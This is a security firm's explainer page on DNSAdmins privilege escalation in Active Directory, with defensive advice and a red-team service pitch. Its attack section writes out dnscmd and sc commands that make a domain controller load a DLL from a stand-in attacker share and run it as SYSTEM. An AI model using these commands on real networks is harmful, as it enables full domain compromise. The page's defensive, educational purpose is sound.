Active Directory · Learn

What is DNSAdmins abuse?

The DNS service on a domain controller runs as SYSTEM. A member of the DNSAdmins group can tell it to load an attacker DLL, turning group membership into code execution on the DC.

Active Directory · LearnAll services Download PDF
TL;DR

DNSAdmins abuse is a privilege escalation where a member of the DNSAdmins group makes the DNS service load an arbitrary DLL. Because the DNS service (dns.exe) runs as SYSTEM and is usually on the domain controller, loading an attacker DLL yields SYSTEM on a DC, which is domain compromise. It is a classic path from a mid-tier group to tier-0. Defend by treating DNSAdmins as privileged, monitoring the serverlevelplugindll setting, and restricting the group.

By John Dill, Red Team Lead, SecureLayer7Updated

What DNSAdmins abuse is

The DNSAdmins group looks harmless, it manages DNS, but the DNS service on a domain controller runs as SYSTEM and supports a plugin DLL. Anyone who can configure that plugin can run their own code with the service's privileges. That makes DNSAdmins an overlooked path to the highest privilege in the domain.

How the attack works

A DNSAdmins member points the DNS service at an attacker DLL with dnscmd <dc> /config /serverlevelplugindll \\attacker\share\evil.dll, then restarts the DNS service (sc \\<dc> stop dns / start dns). On restart the DC loads the DLL and runs the attacker's code as SYSTEM, giving a shell or a hash dump on the domain controller. Payloads are shown for defensive testing.

How to defend against it

Treat DNSAdmins as a tier-0 group and keep its membership minimal and monitored. Alert on changes to the serverlevelplugindll registry value (HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters) and on unexpected DNS service restarts, and prefer running DNS on dedicated servers rather than domain controllers where practical. Newer Windows blocks the plugin load by default, so keep DCs patched.

References

  1. [1]MITRE ATT&CK Enterprise Matrix(MITRE ATT&CK)
  2. [2]Microsoft: DNS server security(Microsoft)
Related terms

A single loosely-managed DNSAdmins member can own a domain controller. Talk to a security expert about auditing your privileged groups.

Related service
Red Team Assessment
Goal-based adversary emulation across your people, apps, and network, the full path an attacker would take.
Red team assessment

FAQ

DNSAdmins abuse, asked often

Scope an engagement

Test your Active Directory before an attacker does.

Our red team maps the real path from a foothold to domain dominance, and ships findings with reproducible attacks and fixes your team can implement.